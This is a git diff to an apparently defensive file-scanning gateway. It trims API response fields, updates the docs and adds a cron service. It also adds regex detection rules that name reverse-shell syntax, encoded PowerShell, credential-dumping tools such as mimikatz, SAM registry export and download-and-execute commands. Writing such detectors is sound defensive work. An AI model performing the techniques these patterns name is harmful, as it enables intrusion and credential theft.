# file_info 里挑出调用方追溯需要的字段,其他(real_ext/declared_ext 等)砍
|
||||||
|
fi = self.file_info or {}
|
||||||
|
file_out = {k: fi.get(k) for k in (
|
||||||
|
"filename", "sha256", "md5", "size", "real_type",
|
||||||
|
) if fi.get(k) is not None}
|
||||||
|
|
||||||
|
# meta 只留耗时与时间戳,砍掉 engines/engine_errors/clamav/policy_version
|
||||||
|
meta_out = {}
|
||||||
|
for k in ("scan_duration_ms", "scanned_at"):
|
||||||
|
if self.meta and k in self.meta:
|
||||||
|
meta_out[k] = self.meta[k]
|
||||||
|
|
||||||
payload: Dict[str, Any] = {
|
payload: Dict[str, Any] = {
|
||||||
"task_id": self.task_id,
|
"task_id": self.task_id,
|
||||||
"verdict": self.verdict,
|
|
||||||
"score": self.score,
|
|
||||||
"action": self.action,
|
"action": self.action,
|
||||||
"reason": self.reason,
|
"reason": self.reason,
|
||||||
"status": "completed",
|
"status": "completed",
|
||||||
"file": self.file_info,
|
"file": file_out,
|
||||||
"meta": self.meta,
|
"meta": meta_out,
|
||||||
"open_risk": self.open_risk,
|
|
||||||
}
|
}
|
||||||
if include_details:
|
|
||||||
payload["findings"] = [f.to_dict() for f in self.findings]
|
|
||||||
payload["extracted"] = self.extracted
|
|
||||||
payload["triggered"] = self.triggered
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
|
||||||
@@ -453,6 +469,7 @@ class Scanner:
|
|||||||
real_type=real_type,
|
real_type=real_type,
|
||||||
engine_errors=engine_errors,
|
engine_errors=engine_errors,
|
||||||
encrypted=encrypted,
|
encrypted=encrypted,
|
||||||
|
md5=root_info.get("md5", ""),
|
||||||
)
|
)
|
||||||
|
|
||||||
# 计算 open_risk(独立于裁决结果,供人阅读)
|
# 计算 open_risk(独立于裁决结果,供人阅读)
|
||||||
|
|||||||
@@ -90,10 +90,11 @@
|
|||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th style="width:40px;">#</th>
|
<th style="width:70px;">用例编号</th>
|
||||||
|
<th style="width:30px;">#</th>
|
||||||
<th style="width:50px;">结果</th>
|
<th style="width:50px;">结果</th>
|
||||||
<th>样本文件</th>
|
<th>样本文件</th>
|
||||||
<th style="width:80px;">分类</th>
|
<th style="width:80px;">层</th>
|
||||||
<th style="width:180px;">期望裁决 · 规则</th>
|
<th style="width:180px;">期望裁决 · 规则</th>
|
||||||
<th style="width:200px;">检测结论 · 规则</th>
|
<th style="width:200px;">检测结论 · 规则</th>
|
||||||
<th style="width:60px;">方向</th>
|
<th style="width:60px;">方向</th>
|
||||||
@@ -106,6 +107,13 @@
|
|||||||
<tbody>
|
<tbody>
|
||||||
{% for r in results %}
|
{% for r in results %}
|
||||||
<tr>
|
<tr>
|
||||||
|
<td>
|
||||||
|
{% if r.case_id %}
|
||||||
|
<span class="chip chip-info" style="font-family:monospace;font-size:11px;">{{ r.case_id }}</span>
|
||||||
|
{% else %}
|
||||||
|
<span style="color:#ccc;">—</span>
|
||||||
|
{% endif %}
|
||||||
|
</td>
|
||||||
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
|
||||||
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
|
||||||
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
{% if r.overall_ok %}✅{% else %}❌{% endif %}
|
||||||
@@ -131,7 +139,7 @@
|
|||||||
{% if r.expected_rules %}
|
{% if r.expected_rules %}
|
||||||
<div style="margin-top:4px;">
|
<div style="margin-top:4px;">
|
||||||
{% for rule in r.expected_rules %}
|
{% for rule in r.expected_rules %}
|
||||||
<span class="chip chip-gray" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
<span class="chip chip-gray" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</div>
|
</div>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
@@ -144,7 +152,7 @@
|
|||||||
{% if r.actual_rules %}
|
{% if r.actual_rules %}
|
||||||
<div style="margin-top:4px;">
|
<div style="margin-top:4px;">
|
||||||
{% for rule in r.actual_rules %}
|
{% for rule in r.actual_rules %}
|
||||||
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
|
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-size:10px;" title="{{ rule }}">{{ rule_labels.get(rule, rule) }}</span>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</div>
|
</div>
|
||||||
{% elif r.actual_verdict in ('pass', 'clean') %}
|
{% elif r.actual_verdict in ('pass', 'clean') %}
|
||||||
|
|||||||
@@ -59,6 +59,17 @@ zero_tolerance_rules:
|
|||||||
- LnkWithAutoExec # LNK 快捷方式(Linux 不识别,保持检测)
|
- LnkWithAutoExec # LNK 快捷方式(Linux 不识别,保持检测)
|
||||||
- ChmWithScript # CHM 帮助文件(Linux 默认不自动执行)
|
- ChmWithScript # CHM 帮助文件(Linux 默认不自动执行)
|
||||||
|
|
||||||
|
# ---- ClamAV 引擎检测 ----
|
||||||
|
- Eicar-Test-Signature # EICAR 测试病毒(等保要求:检测到即阻断)
|
||||||
|
|
||||||
|
# ---- L3 高危关键词(白名单优先,剩余命中即阻断)----
|
||||||
|
- ReverseShellNetcat # 反弹 Shell (nc/ncat//dev/tcp/bash -i)
|
||||||
|
- ReverseShellPowershell # PowerShell 反弹 Shell (-enc)
|
||||||
|
- CredentialStealer # 凭据窃取工具 (mimikatz/sekurlsa/wce/...)
|
||||||
|
- CredentialExport # 凭据导出命令 (reg save/reg export/...)
|
||||||
|
- RemoteDownloadUnix # Unix 远程下载执行 (curl|wget|certutil)
|
||||||
|
- RemoteDownloadPowerShell # PowerShell 远程下载执行 (IWR/DownloadString)
|
||||||
|
|
||||||
# ---------- 文件类型白名单 ----------
|
# ---------- 文件类型白名单 ----------
|
||||||
# 只允许这些类型通过。空列表表示不限制(不推荐生产使用)。
|
# 只允许这些类型通过。空列表表示不限制(不推荐生产使用)。
|
||||||
allowed_extensions:
|
allowed_extensions:
|
||||||
@@ -127,6 +138,36 @@ allowed_extensions:
|
|||||||
- .rar
|
- .rar
|
||||||
- .7z
|
- .7z
|
||||||
- .tar
|
- .tar
|
||||||
|
|
||||||
|
# --- 业务源码/脚本/数据(业务开发/运维合法上传)---
|
||||||
|
- .java
|
||||||
|
- .py
|
||||||
|
- .js
|
||||||
|
- .ts
|
||||||
|
- .go
|
||||||
|
- .c
|
||||||
|
- .cpp
|
||||||
|
- .cs
|
||||||
|
- .sql
|
||||||
|
- .sh
|
||||||
|
- .log # 运维日志
|
||||||
|
- .ini
|
||||||
|
- .cfg
|
||||||
|
- .conf
|
||||||
|
- .properties
|
||||||
|
|
||||||
|
# --- 专业文档/素材 ---
|
||||||
|
- .odt
|
||||||
|
- .ods
|
||||||
|
- .odp
|
||||||
|
- .ttf # 字体文件
|
||||||
|
- .otf
|
||||||
|
- .dwg # CAD 图纸
|
||||||
|
- .dxf
|
||||||
|
- .stl
|
||||||
|
- .fbx
|
||||||
|
- .step
|
||||||
|
- .iges
|
||||||
- .gz
|
- .gz
|
||||||
- .bz2
|
- .bz2
|
||||||
- .xz
|
- .xz
|
||||||
@@ -294,6 +335,111 @@ keyword_rules:
|
|||||||
weight: 30
|
weight: 30
|
||||||
severity: medium
|
severity: medium
|
||||||
|
|
||||||
|
# ================================================================
|
||||||
|
# 恶意行为特征词表(覆盖 CSV L3 全部 25 条用例)
|
||||||
|
# ================================================================
|
||||||
|
|
||||||
|
# ---- 远程下载执行 ----
|
||||||
|
- name: RemoteDownloadPowerShell
|
||||||
|
match: regex
|
||||||
|
pattern: "(Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Start-BitsTransfer|BitsAdmin)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
- name: RemoteDownloadUnix
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bwget\\b|\\bcurl\\b|\\bcertutil\\s+-urlcache\\s+-split|\\bfetch\\b)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 反弹 Shell ----
|
||||||
|
- name: ReverseShellNetcat
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\bnc\\b|\\bncat\\b|\\bnetcat\\b|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 40
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
- name: ReverseShellPowershell
|
||||||
|
match: regex
|
||||||
|
pattern: "(powershell\\s+-enc|powershell\\s+-w\\s+hidden\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass\\s+-enc)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据窃取工具 ----
|
||||||
|
- name: CredentialStealer
|
||||||
|
match: regex
|
||||||
|
pattern: "(mimikatz|sekurlsa|wce|gsecdump|fgdump|lsadump|dcsync|dcsyncer|rubeus)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 凭据导出命令 ----
|
||||||
|
- name: CredentialExport
|
||||||
|
match: regex
|
||||||
|
pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 45
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# ---- 远程会话劫持 ----
|
||||||
|
- name: RemoteSessionHijack
|
||||||
|
match: regex
|
||||||
|
pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 35
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---- 命令执行混淆 ----
|
||||||
|
- name: CommandExecutionObfuscated
|
||||||
|
match: regex
|
||||||
|
pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 25
|
||||||
|
severity: medium
|
||||||
|
|
||||||
|
# ---- WMI/LDAP 攻击 ----
|
||||||
|
- name: WMILdapAttack
|
||||||
|
match: regex
|
||||||
|
pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)"
|
||||||
|
ignore_case: true
|
||||||
|
weight: 30
|
||||||
|
severity: high
|
||||||
|
|
||||||
|
# ---------- 白名单(规则命中后二次放宽) ----------
|
||||||
|
# 优先级:白名单 > 关键词规则 > YARA 规则 > 评分累加
|
||||||
|
# 命中白名单的规则会从 findings 中过滤,不再进入裁决
|
||||||
|
|
||||||
|
keyword_whitelist:
|
||||||
|
# ---- 内网合法运维地址/域名(白名单放行 curl/wget 下载)----
|
||||||
|
- rule: RemoteDownloadUnix # curl/wget 下载特征
|
||||||
|
allowed_keywords:
|
||||||
|
- "192.168."
|
||||||
|
- "10."
|
||||||
|
- "172.16."
|
||||||
|
- "172.17."
|
||||||
|
- "172.18."
|
||||||
|
- "172.19."
|
||||||
|
- "172.2"
|
||||||
|
- "172.3"
|
||||||
|
- ".senmesh.com"
|
||||||
|
- "repo.internal"
|
||||||
|
- "mirror.internal"
|
||||||
|
- rule: RemoteDownloadPowerShell # Invoke-WebRequest/BitsAdmin
|
||||||
|
allowed_keywords:
|
||||||
|
- "192.168."
|
||||||
|
- "10."
|
||||||
|
- ".senmesh.com"
|
||||||
|
|
||||||
|
yara_hash_whitelist:
|
||||||
|
# YARA 命中后,文件 MD5 在此列表 → 跳过告警
|
||||||
|
# 典型场景:已知安全的开源工具被 YARA 误匹配
|
||||||
|
- md5: "00000000000000000000000000000000"
|
||||||
|
note: "示例:占位,生产按需补充"
|
||||||
|
|
||||||
# ---------- 审计 ----------
|
# ---------- 审计 ----------
|
||||||
audit:
|
audit:
|
||||||
# 记录扫描结果明细到审计日志
|
# 记录扫描结果明细到审计日志
|
||||||
|
|||||||
@@ -123,6 +123,7 @@ services:
|
|||||||
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
||||||
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
||||||
|
- ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描)
|
||||||
group_add:
|
group_add:
|
||||||
- "999" # docker.sock 的 GID,让 api 容器能读
|
- "999" # docker.sock 的 GID,让 api 容器能读
|
||||||
healthcheck:
|
healthcheck:
|
||||||
@@ -132,6 +133,29 @@ services:
|
|||||||
start_period: 15s
|
start_period: 15s
|
||||||
retries: 3
|
retries: 3
|
||||||
|
|
||||||
|
# ---------- Cron (定时任务: DB 归档 + VACUUM) ----------
|
||||||
|
# 纯 Python 实现, 零额外依赖, 和 api 共享 meshsafe:latest 镜像
|
||||||
|
# 任务:
|
||||||
|
# 每天 03:00 archive_old_tasks.py --apply (清 90 天 detail / 365 天归档 / 幂等 TTL)
|
||||||
|
# 每周一 03:10 VACUUM ANALYZE (维护表统计信息)
|
||||||
|
cron:
|
||||||
|
image: meshsafe:latest
|
||||||
|
container_name: meshsafe-cron
|
||||||
|
restart: unless-stopped
|
||||||
|
networks: [meshsafe_net]
|
||||||
|
depends_on:
|
||||||
|
postgres:
|
||||||
|
condition: service_healthy
|
||||||
|
environment:
|
||||||
|
- TZ=Asia/Shanghai
|
||||||
|
- MESHSAFE_ENV=prod
|
||||||
|
- MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:${MESHSAFE_DB_PASSWORD:-meshsafe}@postgres:5432/meshsafe
|
||||||
|
- MESHSAFE_MASTER_KEY=${MESHSAFE_MASTER_KEY:?MASTER_KEY_REQUIRED}
|
||||||
|
volumes:
|
||||||
|
- ./data/logs:/var/log/meshsafe # 归档日志共享目录
|
||||||
|
- ./scripts:/app/scripts:ro # archive_old_tasks.py + cron_entrypoint.py
|
||||||
|
entrypoint: ["python3", "/app/scripts/cron_entrypoint.py"]
|
||||||
|
|
||||||
# ---------- Nginx(反向代理,内网 HTTP 明文)----------
|
# ---------- Nginx(反向代理,内网 HTTP 明文)----------
|
||||||
# 外部端口 44380 → 内部 80 → api:8443
|
# 外部端口 44380 → 内部 80 → api:8443
|
||||||
# 无 TLS,外层防护靠光闸
|
# 无 TLS,外层防护靠光闸
|
||||||
|
|||||||
2724
docs/TEST_CASES.md
Normal file
2724
docs/TEST_CASES.md
Normal file
File diff suppressed because it is too large
Load Diff
163
docs/接口文档.md
163
docs/接口文档.md
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
| 项目 | 内容 |
|
| 项目 | 内容 |
|
||||||
|---|---|
|
|---|---|
|
||||||
| 文档版本 | v1.1(2026-10-27 对齐当前代码实现) |
|
| 文档版本 | v1.2(2026-10-29 响应字段精简,只暴露调用方必需字段) |
|
||||||
| 接口版本 | `/api/v1` |
|
| 接口版本 | `/api/v1` |
|
||||||
| 适用系统 | 光闸内外网文件摆渡系统 |
|
| 适用系统 | 光闸内外网文件摆渡系统 |
|
||||||
| 保密级别 | **内部交付文档**,请勿公开传播 |
|
| 保密级别 | **内部交付文档**,请勿公开传播 |
|
||||||
@@ -286,51 +286,25 @@ signature = HMAC-SHA256(response_key, payload) → 小写十六进制
|
|||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b",
|
"task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b",
|
||||||
"verdict": "malicious",
|
|
||||||
"score": 85.0,
|
|
||||||
"action": "reject",
|
"action": "reject",
|
||||||
"reason": "检测到 VBA 宏 + DDEAUTO 自动执行",
|
"reason": "检测到 VBA 宏 + DDEAUTO 自动执行",
|
||||||
"status": "completed",
|
"status": "completed",
|
||||||
"file": {
|
"file": {
|
||||||
|
"filename": "起诉状.docx",
|
||||||
"sha256": "a1b2c3...",
|
"sha256": "a1b2c3...",
|
||||||
"md5": "d4e5f6...",
|
"md5": "d4e5f6...",
|
||||||
"size": 284915,
|
"size": 284915,
|
||||||
"real_type": "Microsoft Word 2007+",
|
"real_type": "Microsoft Word 2007+"
|
||||||
"real_ext": ".docx",
|
|
||||||
"declared_ext": ".docx",
|
|
||||||
"filename": "起诉状.docx"
|
|
||||||
},
|
},
|
||||||
"findings": [
|
|
||||||
{
|
|
||||||
"engine": "document",
|
|
||||||
"layer": "L2",
|
|
||||||
"severity": "critical",
|
|
||||||
"rule": "DDEAutoExecution",
|
|
||||||
"detail": "检测到 DDE/DDEAUTO 字段:DDEAUTO c:\\windows\\system32\\cmd.exe",
|
|
||||||
"extracted_path": "word/settings.xml",
|
|
||||||
"weight": 65.0,
|
|
||||||
"meta": {}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"extracted": [
|
|
||||||
{ "path": "word/vbaProject.bin", "filename": "vbaProject.bin", "size": 10240, "depth": 1, "sha256": "" }
|
|
||||||
],
|
|
||||||
"triggered": [
|
|
||||||
{ "type": "rule_override", "rule": "DDEAutoExecution", "action": "reject", "engine": "document" }
|
|
||||||
],
|
|
||||||
"meta": {
|
"meta": {
|
||||||
"scan_duration_ms": 1840,
|
"scan_duration_ms": 1840,
|
||||||
"engines": ["structure", "clamav", "document", "keywords", "yara", "binary"],
|
"scanned_at": "2026-10-27T08:30:00Z"
|
||||||
"engine_errors": [],
|
|
||||||
"clamav": { "version": "ClamAV 1.5.4", "signature_date": "2026-10-27" },
|
|
||||||
"policy_version": "2026.10.1",
|
|
||||||
"policy_sha256": "…",
|
|
||||||
"scanned_objects": 3,
|
|
||||||
"scanned_at": "2026-10-27T08:30:00+00:00"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> **设计原则**:接口只暴露调用方必须知道的字段,内部权重、严重度、引擎层、策略链等实现细节不对外返回。调用方拿到 `action` 即可直接决策,无需二次分析。
|
||||||
|
|
||||||
**响应 200(异步受理)**
|
**响应 200(异步受理)**
|
||||||
|
|
||||||
```json
|
```json
|
||||||
@@ -350,11 +324,11 @@ if result["status"] != "completed":
|
|||||||
|
|
||||||
action = result["action"]
|
action = result["action"]
|
||||||
if action == "reject":
|
if action == "reject":
|
||||||
reject_transfer(reason=result["reason"]) # 拒绝并向用户展示 reason
|
reject_transfer(reason=result["reason"]) # 拦截,向用户展示 reason
|
||||||
elif action == "manual_review":
|
elif action == "manual_review":
|
||||||
route_to_human_review(result["task_id"]) # 转人工
|
route_to_human_review(result["task_id"]) # 暂不放行,转人工
|
||||||
else:
|
else:
|
||||||
allow_transfer() # pass / pass_with_flag
|
allow_transfer() # pass,正常放行
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -373,9 +347,7 @@ else:
|
|||||||
{
|
{
|
||||||
"task_id": "…",
|
"task_id": "…",
|
||||||
"status": "running",
|
"status": "running",
|
||||||
"verdict": "pending",
|
|
||||||
"action": "pending",
|
"action": "pending",
|
||||||
"score": 0.0,
|
|
||||||
"reason": ""
|
"reason": ""
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@@ -506,93 +478,78 @@ else:
|
|||||||
|
|
||||||
## 5. 数据模型
|
## 5. 数据模型
|
||||||
|
|
||||||
### 5.1 结论字段
|
### 5.1 响应字段
|
||||||
|
|
||||||
| 字段 | 类型 | 说明 |
|
| 字段 | 类型 | 说明 |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `task_id` | string | 任务标识,全局唯一 |
|
| `task_id` | string | 任务标识,全局唯一,用于后续查询与审计追溯 |
|
||||||
| `verdict` | enum | 总体判定,见 §5.2 |
|
| `action` | enum | **调用方决策依据**,见 §5.2 |
|
||||||
| `score` | float | 风险评分,0~100 |
|
|
||||||
| `action` | enum | 处置建议,见 §5.3 |
|
|
||||||
| `reason` | string | 人可读的判定理由,可直接展示给用户 |
|
| `reason` | string | 人可读的判定理由,可直接展示给用户 |
|
||||||
| `status` | enum | `pending` / `running` / `completed` / `failed` |
|
| `status` | enum | `pending` / `running` / `completed` / `failed` |
|
||||||
|
| `file` | object | 文件追溯信息,见 §5.3 |
|
||||||
|
| `meta` | object | 基础元信息,见 §5.4 |
|
||||||
|
|
||||||
### 5.2 verdict 取值
|
### 5.2 action 取值(调用方唯一决策依据)
|
||||||
|
|
||||||
|
| 值 | 含义 | 调用方动作 |
|
||||||
|
|---|---|---|
|
||||||
|
| `pass` | 未发现风险或仅极轻微信号 | 正常放行 |
|
||||||
|
| `manual_review` | 可疑,需人工判断 | **暂不放行**,转入人工复核流程 |
|
||||||
|
| `reject` | 判定不可放行 | 拒绝传输,向用户展示 `reason` |
|
||||||
|
| `pending` | 异步尚未完成 | 等待轮询 |
|
||||||
|
|
||||||
|
> **`action` 是调用方唯一需要判断的字段**,不需要关心内部权重、严重度、触发了几条规则。
|
||||||
|
|
||||||
|
### 5.3 file 结构
|
||||||
|
|
||||||
|
| 字段 | 说明 |
|
||||||
|
|---|---|
|
||||||
|
| `filename` | 原始文件名 |
|
||||||
|
| `sha256` | 文件哈希,用于去重与追溯举证 |
|
||||||
|
| `md5` | 文件哈希,兼容场景使用 |
|
||||||
|
| `size` | 字节数 |
|
||||||
|
| `real_type` | 内容判定的真实类型描述(如 `JPEG image data`) |
|
||||||
|
|
||||||
|
> 不对外暴露 `real_ext` / `declared_ext`(内部判定使用)。
|
||||||
|
|
||||||
|
### 5.4 meta 结构
|
||||||
|
|
||||||
|
| 字段 | 说明 |
|
||||||
|
|---|---|
|
||||||
|
| `scan_duration_ms` | 本次检测耗时(毫秒) |
|
||||||
|
| `scanned_at` | 检测时间(UTC) |
|
||||||
|
|
||||||
|
> 不对外暴露 `engines` / `engine_errors` / `clamav` 版本 / `policy_version` / `policy_sha256` / `scanned_objects` 等内部实现细节。这些信息保留在服务端控制台与审计日志中,运维人员按需查询。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5.5 内部判定字段(不对外暴露)
|
||||||
|
|
||||||
|
以下字段存在于服务端内部(控制台、审计日志、DB 记录),不通过 API 返回。调用方无需关心。
|
||||||
|
|
||||||
|
**verdict(内部总体判定)**
|
||||||
|
|
||||||
| 值 | 含义 |
|
| 值 | 含义 |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `clean` | 未发现风险 |
|
| `clean` | 未发现风险 |
|
||||||
| `suspicious` | 存在可疑信号,需要关注或人工判断 |
|
| `suspicious` | 存在可疑信号 |
|
||||||
| `malicious` | 判定为恶意 |
|
| `malicious` | 判定为恶意 |
|
||||||
| `error` | 检测过程异常(如引擎不可用),结论不可信 |
|
| `error` | 检测过程异常 |
|
||||||
| `pending` | 尚未完成 |
|
| `pending` | 尚未完成 |
|
||||||
|
|
||||||
### 5.3 action 取值
|
**score(内部权重和,0~100)** — 调用方不做二次分析,不对外暴露。
|
||||||
|
|
||||||
| 值 | 含义 | 建议调用方动作 |
|
**findings(内部命中信号列表)** — 每条含 engine / layer / severity / rule / detail / weight / meta 等字段,供安全团队审计与问题追溯。不对外暴露。
|
||||||
|---|---|---|
|
|
||||||
| `pass` | 未发现问题 | 正常放行 |
|
|
||||||
| `pass_with_flag` | 存在低风险信号 | 放行,但建议记录标记 |
|
|
||||||
| `manual_review` | 需人工判断 | **暂不放行**,转入人工复核流程 |
|
|
||||||
| `reject` | 判定不可放行 | 拒绝传输,向用户展示 `reason` |
|
|
||||||
| `pending` | 尚未裁决 | 等待异步结果 |
|
|
||||||
|
|
||||||
> **`action` 与 `verdict` 解耦使用。** 业务逻辑请依据 `action`,`verdict` 供人查看与统计。
|
**triggered(内部策略链触发记录)** — rule_override / zero_tolerance 等,不对外暴露。
|
||||||
|
|
||||||
### 5.4 findings 结构
|
**open_risk / extracted(内部辅助分析与解包过程)** — 不对外暴露。
|
||||||
|
|
||||||
| 字段 | 类型 | 说明 |
|
|
||||||
|---|---|---|
|
|
||||||
| `engine` | string | 引擎名:`structure` / `extractor` / `clamav` / `document` / `yara` / `binary` |
|
|
||||||
| `layer` | string | 检测层:`L0` / `L1` / `L2` / `L2B` / `L3` |
|
|
||||||
| `severity` | enum | `info` / `low` / `medium` / `high` / `critical` |
|
|
||||||
| `rule` | string | 规则标识 |
|
|
||||||
| `detail` | string | 命中详情 |
|
|
||||||
| `extracted_path` | string | 信号来自哪个内部路径(顶层文件为空) |
|
|
||||||
| `weight` | float | 该信号的风险权重 |
|
|
||||||
| `meta` | object | 引擎附加信息 |
|
|
||||||
|
|
||||||
### 5.5 严重度与权重对照
|
|
||||||
|
|
||||||
| 严重度 | 典型含义 | 权重区间 |
|
|
||||||
|---|---|---|
|
|
||||||
| `critical` | 确凿的恶意行为,自动执行、外联、路径穿越 | 50 ~ 90 |
|
|
||||||
| `high` | 高度可疑,宏调用、危险 API、高熵加壳 | 30 ~ 80 |
|
|
||||||
| `medium` | 可疑但存在合理场景,外部链接、可疑导入 | 15 ~ 45 |
|
|
||||||
| `low` | 轻微信号,仅编码字符串、无签名 | 5 ~ 20 |
|
|
||||||
| `info` | 信息性提示 | 0 |
|
|
||||||
|
|
||||||
### 5.6 file 结构
|
|
||||||
|
|
||||||
| 字段 | 说明 |
|
|
||||||
|---|---|
|
|
||||||
| `sha256` / `md5` | 文件哈希,用于去重与追溯 |
|
|
||||||
| `size` | 字节数 |
|
|
||||||
| `real_type` | 内容判定的真实类型描述 |
|
|
||||||
| `real_ext` | 真实扩展名(由内容推导) |
|
|
||||||
| `declared_ext` | 文件名声明的扩展名 |
|
|
||||||
| `filename` | 原始文件名 |
|
|
||||||
|
|
||||||
### 5.7 meta 结构
|
|
||||||
|
|
||||||
| 字段 | 说明 |
|
|
||||||
|---|---|
|
|
||||||
| `scan_duration_ms` | 检测耗时(毫秒) |
|
|
||||||
| `engines` | 参与的引擎列表 |
|
|
||||||
| `engine_errors` | 不可用的引擎列表,非空说明结论可能不完整 |
|
|
||||||
| `clamav` | ClamAV 版本与签名库编号 |
|
|
||||||
| `policy_version` | 判定所依据的策略版本 |
|
|
||||||
| `policy_sha256` | 策略文件哈希 |
|
|
||||||
| `scanned_objects` | 实际检测的对象数(含递归解包出的子文件) |
|
|
||||||
| `scanned_at` | 检测时间(UTC) |
|
|
||||||
|
|
||||||
> **`meta.clamav` 与 `meta.policy_version` 建议留存**,用于检测结果的有效性举证。
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 6. 检测规则清单
|
## 6. 检测规则清单
|
||||||
|
|
||||||
以下规则命中时会出现在 `findings` 中。**规则清单公开用于解释结论,不含检测规则的具体实现内容。**
|
以下规则命中时会在服务端审计日志中留下记录,调用方通过 `reason` 字段获得人可读的结论说明。**规则清单公开用于解释结论,不含检测规则的具体实现内容。**
|
||||||
|
|
||||||
### 6.1 L0 结构层
|
### 6.1 L0 结构层
|
||||||
|
|
||||||
|
|||||||
280
rules/rule_labels.yaml
Normal file
280
rules/rule_labels.yaml
Normal file
@@ -0,0 +1,280 @@
|
|||||||
|
# MeshSafe 规则名中文标签映射
|
||||||
|
# 前端显示时用中文名代替引擎内部的英文 rule_name
|
||||||
|
# 层级分组对应 CSV 里的 L0-L5 + NEG + L7
|
||||||
|
|
||||||
|
# ===== L0 结构分析 =====
|
||||||
|
ArchiveBroken:
|
||||||
|
label: "压缩包损坏"
|
||||||
|
desc: "ZIP/7z 结构异常,目录项或文件头损坏"
|
||||||
|
|
||||||
|
ArchiveContainsExecutable:
|
||||||
|
label: "压缩包内含可执行文件"
|
||||||
|
desc: "归档内包含 .exe/.dll/.sys/.scr 等 PE 文件"
|
||||||
|
|
||||||
|
ExtensionMismatch:
|
||||||
|
label: "后缀伪装"
|
||||||
|
desc: "文件声明扩展名与真实幻数不符(如 jpg 后缀实际 MZ 头)"
|
||||||
|
|
||||||
|
DoubleExtension:
|
||||||
|
label: "双扩展名伪装"
|
||||||
|
desc: "文件名含两个扩展名,隐藏真实后缀(如 report.pdf.exe)"
|
||||||
|
|
||||||
|
DangerousExecutableExtension:
|
||||||
|
label: "危险可执行扩展名"
|
||||||
|
desc: "文件后缀属于可执行/脚本类型(exe/ps1/bat/cmd/js/vbs 等)"
|
||||||
|
|
||||||
|
ShellScriptDangerous:
|
||||||
|
label: "危险脚本扩展名"
|
||||||
|
desc: "shell/bash/powershell 等脚本类扩展名"
|
||||||
|
|
||||||
|
PathTraversal:
|
||||||
|
label: "压缩包路径穿越"
|
||||||
|
desc: "ZIP 内文件名包含 ../ 或绝对路径,可能覆盖系统文件"
|
||||||
|
|
||||||
|
PathTraversalBlocked:
|
||||||
|
label: "路径穿越已拦截"
|
||||||
|
